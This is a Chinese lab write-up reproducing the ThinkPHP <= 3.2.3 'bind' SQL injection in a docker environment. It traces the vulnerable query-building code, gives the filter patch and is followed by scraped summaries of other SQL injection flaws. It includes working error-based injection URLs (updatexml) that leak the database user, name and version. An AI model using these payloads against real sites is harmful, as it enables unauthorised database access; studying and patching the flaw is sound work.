ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

ref:https://www.jianshu.com/p/18d06277161e

TimeSHU 2018.04.21 02:03* 字数 761 阅读 23评论 2喜欢 0

ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的一次漏洞复现作业

-------------------------------------------------------------

1.进入docker内部环境说明

service docker start;

docker ps;列出当前容器

docker exec -it 9b96ee2b /bin/bash;//9b96ee2b为container_id

2.实际调试堆栈以及参数传递情况:

/var/www/html# more index.php

// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false;方便打印日志。

define(‘APP_DEBUG‘,True);

下面是根据TimeSHU提供的docker环境调试update注入情况分析。

这是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))

category是数组:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"

出错堆栈信息:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E(‘1105:XPATH synt...‘)。
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): Think\Db\Driver->execute(‘UPDATE `vulapps...‘, false)
UPDATE `vulapps_message` SET `is_read`=‘1‘ WHERE `category` = ‘1‘ and(updatexml(1,concat(0x7e,(user())),0))//尽管前面为false,但是后面任然要执行。此次报错:XPATH syntax error: ‘[email protected]‘。

/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql语句:return $this->execute($sql,!empty($options[‘fetch_sql‘]) ? true : false);

UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))

漏洞代码:

protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } ,则exp=bind
}elseif(‘bind‘ == $exp ){ //
$whereStr .= $key.‘ = :‘.$val[1];//$whereStr.=category=:0 and (updatexml...)此处将:0拼接进去,为后面pdo参数替换制造了机会。
这里可以看出来如果where是一个数组的话,并且第一个元素为bind,那么直接就进行了拼接操作,分析到这里我们看看I函数的过滤限制并没有将bind排除。

#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }

#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition[‘category‘] = I("category");
$data[‘is_read‘] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition[‘category‘])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }

#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):

补丁方法:在I函数增加bind过滤。

function think_filter(&$value){ if(preg_match(‘/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i‘,$value)){$value.=‘ ‘;}

-------------------------------------------------------------

漏洞环境:docker

漏洞分析

首先,我们知道insert 方法存在漏洞,那就查看 insert 方法的具体实现。

该方法位于thinkphp\library\think\db\Builder.php 文件中,我们可以看到在函数开头调用了 parseData 方法,并将 $data 作为参数传入, $data 的值是我们通过 get方式传入的一个数组类型的数据,如下图:

我们跟进parseData方法,该方法也在 thinkphp\library\think\db\Builder.php 文件中。

可以看到,在结尾处有个switch语句,而且进入该语句后,会跳到case ‘inc‘的地方,这里关键就是看看 $this->parseKey 是否有对 $val[1] 变量进行过滤了;

因为$val[1]变量就是我们payload中的updatexml(1,concat(0x7,user(),0x7e),1) ,如下图:

继续跟进parseValue 方法,会发现直接将传入的 $key 返回了,没有进行任何过滤。

我们再回到最开始的insert 方法,加上调试语句,看看此时的sql语句变成了什么样子,如下图:

另一处update函数的注入与这个insert是类似的。

使用docker搭建漏洞环境

1.拉取镜像到本地

docker pull medicean/vulapps:t_thinkphp_1

  2.启动环境

docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 前面的 80 代表物理机的端口,可随意指定。

 

使用和利用

访问 http://192.168.0.104:80/, 假设启动的端口号为 80

出现下图环境搭建成功了

点击标记已读:可以使用burp抓包得到URL

http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

存在漏洞的地方:category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

POC:

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))

使用上面POC可直接获取到数据库用户名

爆出数据库用户名:[email protected]

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))

 

通过database(),报错回显一个数据库:vulapps

 

http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))

爆出数据库版本:5.5.57-0ubuntu0.14.04.1

网上找了些资料,但还是对这个不是很懂,本来想构造一个语句看看是否能获取到数据库中的账户和密码,结果发现无法使用(尴尬..)

对上面的这段POC不算很懂,只能看出大概就是通过user()这里修改可以获取到数据库用户和版本

参考资料:

https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA

https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA

原文地址:https://www.cnblogs.com/studyskill/p/9013239.html

时间: 2024-11-07 06:45:12

ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)的相关文章

ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞

ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件根据官方文档对"防止SQL注入"的方法解释(见http://doc.thinkphp.cn/manual/sql_injection.html)使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果: $Model->where("id=%d and username='%s' and xx='%f'&quo

微擎SQL注入漏洞

漏洞名称:微擎SQL注入漏洞 补丁文件:/web/source/mc/card.ctrl.php 补丁来源:阿里云云盾自研 漏洞描述:微擎CMS的/web/source/mc/card.ctrl.php中,对cardid输入参数未进行严格类型转义,导致SQL注入的发生 解决方法 搜索代码 if ($do == 'manage') 如下图: 在 201 行 前添加代码 $_GPC['cardid'] = intval($_GPC['cardid']); 修改后如图: 补丁文件:/web/sourc

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

关于ECSHOP中sql注入漏洞修复

公司部署了一个ecshop网站用于做网上商城使用,部署在阿里云服务器上,第二天收到阿里云控制台发来的告警信息,发现ecshop网站目录下文件sql注入漏洞以及程序漏洞 如下图: 与技术沟通未果的情况下,网上查了点资料,对其文件进行修复,如下修改: 1,/admin/shopinfo.php修复方法 (大概在第53.71.105.123行,4个地方修复方式都一样)     admin_priv('shopinfo_manage');      修改为     admin_priv('shopinf

jdbc mysql crud dao模型 sql注入漏洞 jdbc 操作大文件

day17总结 今日内容 l JDBC 1.1 上次课内容总结 SQL语句: 1.外键约束:foreign key * 维护多个表关系! * 用来保证数据完整性! 2.三种关系: * 一对多: * 一个客户可以对应多个订单,一个订单只属于一个客户! * 建表原则: * 在多的一方创建一个字段,作为外键指向一的一方的主键!!! * 多对多: * 一个学生可以选择多个课程,一个课程也可以被多个学生选择! * 建表原则: * 创建第三张表,第三张表中放入两个字段,作为外键分别指向多对多双方的主键! *

利用SQL注入漏洞登录后台的实现方法 。。。。转载

一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作 e) DBMS接受返回的结果,并处理,返回给用户 因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话). 下面,我通过一个实例具体来演示下SQL注入 二.SQL注入实例详解(以上测试均假设服务器未开启magic

zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

漏洞概述 zabbix是一个开源的企业级性能监控解决方案.近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限. 影响程度 攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3.(其他版本未经测试) 漏洞测试 在zabbix地址后面添加这串url jsrpc.php?type=9&method=s

知名CMS软件Joomla 存SQL注入漏洞

  近日,Trustwave SpiderLabs 研究员Asaf Orpani 发现知名CMS Joomla 3.2-3.4.4版本中存在SQL注入漏洞,经安全狗实验室检测该漏洞危害巨大,影响范围广,利用难度低.目前官方已在3.4.5版本中修复该漏洞,请相关网站及时更新.另外,经测试安全狗可防御该漏洞. 漏洞详细说明与利用方法 据 Asaf Orpani 分析得出,该SQL注入漏洞存在于 /administrator /components /com_contenthistory/ model

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊 一.跨站脚本攻击(XSS) 跨站脚本攻击的原理 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时